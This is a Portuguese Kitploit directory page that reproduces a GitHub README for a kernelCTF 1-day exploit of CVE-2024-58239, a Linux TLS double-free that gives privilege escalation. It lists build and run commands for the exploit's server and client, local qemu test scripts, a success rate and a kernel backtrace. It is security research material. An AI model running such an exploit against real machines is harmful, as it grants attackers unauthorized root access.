Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2024-58239 — Linux kernel TLS subsystem exploit para CVE-2024-58239, que alcança escalonamento de privilégios por meio de uma vulnerabilidade de double-free em tcp_rcv_state_process. Inclui arquitetura cliente-servidor e scripts de teste local. | Kitploit
Ferramentas/GitHubGitHub/khoatran107/cve-2024-58239
Análise de VulnerabilidadesExploraçãoCTFAprendizado e EducaçãoExploração de Binários
GitHubkhoatran107/cve-2024-58239

cve-2024-58239

Linux kernel TLS subsystem exploit para CVE-2024-58239, que alcança escalonamento de privilégios por meio de uma vulnerabilidade de double-free em tcp_rcv_state_process. Inclui arquitetura cliente-servidor e scripts de teste local.

Ver Repositório
42há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit de mitigação do CVE-2024-58239

Este é meu primeiro exploit 1-day.

Patch: tls: stop recv() if initial process_rx_list gave us non-DATA

Vi o exp407 na planilha do kernelCTF e tentei reproduzir o exploit.

Consegui executar o exploit no ambiente kernelCTF e obter a flag: image

Depois escreverei um write-up detalhado sobre isso.

O log do exploit é um tanto longo, devido a um WARNING do kernel no meio. No entanto, um warning não é um erro e não mata meu exploit ;) image

Estrutura de pastas

Removi muitos arquivos pesados desta pasta.

  • ./rootfs_v3.img
  • ./ramdisk_v1.img
  • ./releases/mitigation-v4-6.6/bzImage
  • ./releases/mitigation-v4-6.6/vmlinux
  • Você pode obter os 3 primeiros arquivos executando o original local_runner.sh

    Para o quarto arquivo e o código-fonte, você pode se conectar ao servidor kernelCTF e obter links para download.

    Mas para sua conveniência, aqui estão as informações da instância mitigation-v4-6.6:

    root@kitploit:~
    Kernel image (bzImage): https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/bzImage
    Kernel image (vmlinux): https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/vmlinux.gz
    Kernel config: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/.config
      -> derived from COS config: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/lakitu_defconfig
    Source code info: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/COMMIT_INFO
    

    Além disso, os comandos para baixar os arquivos .img:

    root@kitploit:~
    wget https://storage.googleapis.com/kernelctf-build/files/rootfs_v3.img.gz
    gzip -d rootfs_v3.img.gz
    wget https://storage.googleapis.com/kernelctf-build/files/ramdisk_v1.img
    

    Compilando o exploit

    root@kitploit:~
    cd ./exploit/mitigation-v4-6.6/
    make
    

    Executando o exploit

    Este exploit é dividido em 2 partes:

    • o servidor, para ser executado primeiro em um VPS.
    • o cliente, para ser executado depois na máquina alvo.

    Servidor:

    root@kitploit:~
    ./server --port <port>
    

    Cliente:

    root@kitploit:~
    ./client --ip <server_ip> --port <port>
    

    Testando localmente

    Escrevi 2 scripts para testar o exploit localmente:

    test.py

    Este inicia o servidor em segundo plano e depois executa o cliente na VM qemu.

    Configuração

    Primeiro, vá para exploit/mitigation-v4-6.6 e inicie um servidor http na porta 3000, para baixar o exploit para a VM qemu depois

    root@kitploit:~
    cd exploit/mitigation-v4-6.6
    python3 -m http.server 3000
    

    Uso

    Então, em outro terminal, inicie o script:

    root@kitploit:~
    python3 test.py <your_ip> <port>
    
    • <your_ip> é o IP da sua placa de internet. No meu caso, executo tudo no WSL, rodo ip a e pego o IP da interface eth0, 172.30.248.93
    root@kitploit:~
    ➜  CVE-2024-58239 git:(main) ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet 10.255.255.254/32 brd 10.255.255.254 scope global lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
        link/ether 00:15:5d:22:a0:d1 brd ff:ff:ff:ff:ff:ff
        inet 172.30.248.93/20 brd 172.30.255.255 scope global eth0
           valid_lft forever preferred_lft forever
        inet6 fe80::215:5dff:fe22:a0d1/64 scope link
           valid_lft forever preferred_lft forever
    
    • <port> é qualquer porta não utilizada na sua máquina local. Ela é para a conexão TLS entre o cliente e o servidor.

    calc_AC_rate.py

    Este executa o exploit várias vezes e mede a taxa de sucesso.

    Configuração

    Assim como no uso do test.py, vá para exploit/mitigation-v4-6.6 e inicie um servidor http na porta 3000, para baixar o exploit para a VM qemu depois

    root@kitploit:~
    cd exploit/mitigation-v4-6.6
    python3 -m http.server 3000
    

    Uso

    root@kitploit:~
    python3 calc_AC_rate.py <your_ip> <port> <number_of_time_to_run>
    

    Por exemplo, no meu WSL, eu o executo como python3 calc_AC_rate.py 172.30.248.93 1118 100.

    Taxa de sucesso

    Ainda estou trabalhando na taxa de sucesso, pois no momento ela está meio instável.

    Executei o calc_AC_rate.py para testar o exploit 100 vezes, e o resultado foi 50/100.

    Nas tentativas com falha, é por causa de common_interrupt aparecendo no meio, acionando a detecção ingênua de double free no slab do kernel, mostrada neste backtrace.

    Vou encontrar uma maneira de desativá-lo.

    root@kitploit:~
    [    4.050330]  ? die+0x32/0x80
    [    4.050809]  ? do_trap+0xd6/0x100
    [    4.051365]  ? __slab_free+0x16c/0x380
    [    4.052198]  ? do_error_trap+0x6a/0x90
    [    4.052767]  ? __slab_free+0x16c/0x380
    [    4.053350]  ? exc_invalid_op+0x4c/0x60
    [    4.053916]  ? __slab_free+0x16c/0x380
    [    4.055031]  ? asm_exc_invalid_op+0x16/0x20
    [    4.055675]  ? tcp_rcv_state_process+0x791/0xef0
    [    4.056527]  ? __slab_free+0x16c/0x380
    [    4.057097]  ? lock_timer_base+0x61/0x80
    [    4.057795]  ? tcp_get_metrics+0x142/0x380
    [    4.058560]  ? tcp_rcv_state_process+0x791/0xef0
    [    4.059265]  kmem_cache_free+0x599/0x5e0
    [    4.059915]  tcp_rcv_state_process+0x791/0xef0
    [    4.060918]  ? security_sock_rcv_skb+0x31/0x50
    [    4.061857]  ? sk_filter_trim_cap+0x11a/0x290
    [    4.062558]  tcp_v4_do_rcv+0xcd/0x280
    [    4.063281]  tcp_v4_rcv+0xf81/0x1010
    [    4.063832]  ? raw_local_deliver+0xcd/0x250
    [    4.064668]  ip_protocol_deliver_rcu+0x32/0x320
    [    4.065355]  ip_local_deliver_finish+0x7a/0xa0
    [    4.066455]  ip_sublist_rcv_finish+0x7e/0x90
    [    4.067231]  ip_sublist_rcv+0x1e1/0x220
    [    4.067919]  ? __netif_receive_skb_core.constprop.0+0xbf/0x1080
    [    4.068822]  ip_list_rcv+0x139/0x170
    [    4.069362]  __netif_receive_skb_list_core+0x29d/0x2c0
    [    4.070173]  ? __pfx_csum_block_add_ext+0x10/0x10
    [    4.071054]  netif_receive_skb_list_internal+0x1e1/0x310
    [    4.072068]  napi_complete_done+0x6e/0x1a0
    [    4.072752]  virtnet_poll+0x40d/0x5a0
    [    4.073313]  __napi_poll+0x28/0x1c0
    [    4.073854]  net_rx_action+0x14c/0x2d0
    [    4.074622]  ? vp_vring_interrupt+0x73/0x90
    [    4.075746]  __do_softirq+0xf6/0x30f
    [    4.076379]  __irq_exit_rcu+0x79/0xc0
    [    4.077356]  common_interrupt+0xb9/0xd0
    
    Baixar ferramenta